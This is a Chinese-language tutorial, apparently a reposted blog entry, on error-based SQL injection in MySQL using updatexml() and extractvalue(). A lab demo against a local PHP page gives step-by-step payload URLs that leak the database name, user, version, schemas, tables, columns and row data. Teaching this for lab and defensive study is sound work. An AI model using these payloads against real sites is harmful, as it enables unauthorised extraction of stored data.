SQL注入原理-报错盲注

        小伙伴们大家好,本期为大家带来的内容是SQL注入原理之报错盲注。

目录

为什么要使用报错盲注?

常见的报错函数

updatexml()函数

extractvalue()函数

实战演示

1.检测是否存在注入点

2.执行报错语句爆出数据

1、爆出当前数据库名

2、爆出当前数据库用户名

3、爆出当前数据库的版本

4、爆出所有的数据库名

5、爆出数据库下的表名

6、爆出数据库下的所有字段名

7、查询表中的数据


为什么要使用报错盲注?

        对于一些网站,不会把后端SQL语句执行的结果展示在前端,而只是作为一种校验功能,例如登录的功能,通过对用户名与密码的查询看数据库中是否存在此用户。

        这时候我们就可以通过构造错误的SQL语句让数据库执行,故意让数据库爆出错误信息。这样我们就可以通过爆出的错误信息得到我们想要的数据。(另外一定要注意,报错盲注的前提是后端语言代码使用了报错的函数,如PHP的mysqli_error()函数。)

常见的报错函数

updatexml()函数

updatexml()函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 新的XML片段 ,然后返回更改的XML。

updatexml函数的使用形式为updatexml(XML_document,XPath_string,new_value)

XML_document是String格式,为XML文档对象的名称。
XPath_string ,XPath格式的字符串(如果XPath_string不是XPath格式,则会报错并显示出XPath_string的值) 。我们就是通过这个参数让数据库报错,继而得到我们需要的数据。
new_value,String格式,替换查找到的符合条件的数据。

例如我们使用MySQL执行下面的语句:

select updatexml(1,concat(0x7e,user(),0x7e),1);

其中concat()函数是把传入的值拼接成一个字符串,0x7e是~符号的ascii码的16进制,是为了方便我们找到报错的信息。 

extractvalue()函数

extractvalue()函数与updatexml()函数类似,只不过它比updatexml()函数少了一个new_value参数。

extractvalue()函数的使用形式为extractvalue(XML_document,XPath_string)

XML_document是String格式,为XML文档对象的名称。
XPath_string ,XPath格式的字符串(如果XPath_string不是XPath格式,则会报错并显示出XPath_string的值) 。我们也是通过这个参数让数据库报错,继而得到我们需要的数据。

例如我们使用MySQL执行下面的语句:

select extractvalue(1,concat(0x7e,user(),0x7e));

实战演示

源码:


"; echo "

You have successfully executed SQL statement for querying the data with id!

"; echo ""; }else{ echo "

"; echo "

"; print_r(mysqli_error($coon)); echo "

"; } } else { echo "

"; echo "

Please input a value as id!

"; echo "
"; }

SQL注入原理-报错盲注_第1张图片

1.检测是否存在注入点

构造payload:“http://127.0.0.1/opsql/sql09.php?id=1 and 1=2”

http://127.0.0.1/opsql/sql09.php?id=1 and 1=2

SQL注入原理-报错盲注_第2张图片

SQL注入原理-报错盲注_第3张图片

and 1=1时页面正常回显,and 1=2时页面没有正常回显,代表构造的and条件插入到了后端SQL查询语句,说明存在注入点。

但是呢,我们看不到数据,页面只告诉我们SQL语句查询成功,这就有点伤。

要怎么做呢?

这就要用到我们的报错注入了。

2.执行报错语句爆出数据

1、爆出当前数据库名

payload:

“http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)”

http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)

SQL注入原理-报错盲注_第4张图片

看到当前数据库名为test。

2、爆出当前数据库用户名

payload:

“http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,user(),0x7e),1)”

http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,user(),0x7e),1)

SQL注入原理-报错盲注_第5张图片3、爆出当前数据库的版本

payload:

“http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,version(),0x7e),1)”

http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,version(),0x7e),1)

SQL注入原理-报错盲注_第6张图片

4、爆出所有的数据库名

payload:

“http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata),0x7e),1)”

http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata),0x7e),1)

information_schema数据库是MySQL5.0之后自带的数据库,infomation_schema数据下的schemata表存储了所有数据库名,information_schema数据库下的tables表存储了所有的表名,information_schema数据库下的columns表存储了所有的字段名。   

SQL注入原理-报错盲注_第7张图片

发现没有显示数据,咋回事呢?

        页面显示returns more than 1 row,代表咱们查询的结果可能太多了,咱们要在加一个limit num1,num2限制条件。

limit num1,num2 的作用使用显示查询结果索引为num1后num2个数据

payload:

“http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)”

http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)

SQL注入原理-报错盲注_第8张图片

接下来我们可以通过增加limit的num1 的值来获取剩下的结果。

SQL注入原理-报错盲注_第9张图片

这里就不一一演示了。

不过我们还可以使用group_concat()函数使查询到的多条结果拼接成一条结果,但是updatexml()函数报错结果有32位的长度限制。

SQL注入原理-报错盲注_第10张图片

5、爆出数据库下的表名

payload:

“http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='study'),0x7e),1)”

http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='study'),0x7e),1)

SQL注入原理-报错盲注_第11张图片

6、爆出数据库下的所有字段名

payload:

“http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='study' and table_name='student'),0x7e),1)”

http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='study' and table_name='student'),0x7e),1)

SQL注入原理-报错盲注_第12张图片

7、查询表中的数据

payload:

“http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(name) from study.student),0x7e),1)”

http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(name) from study.student),0x7e),1)

SQL注入原理-报错盲注_第13张图片

查询其他的字段信息就交给小伙伴们了!

你可能感兴趣的:(SQL注入,sql,数据库,网络安全)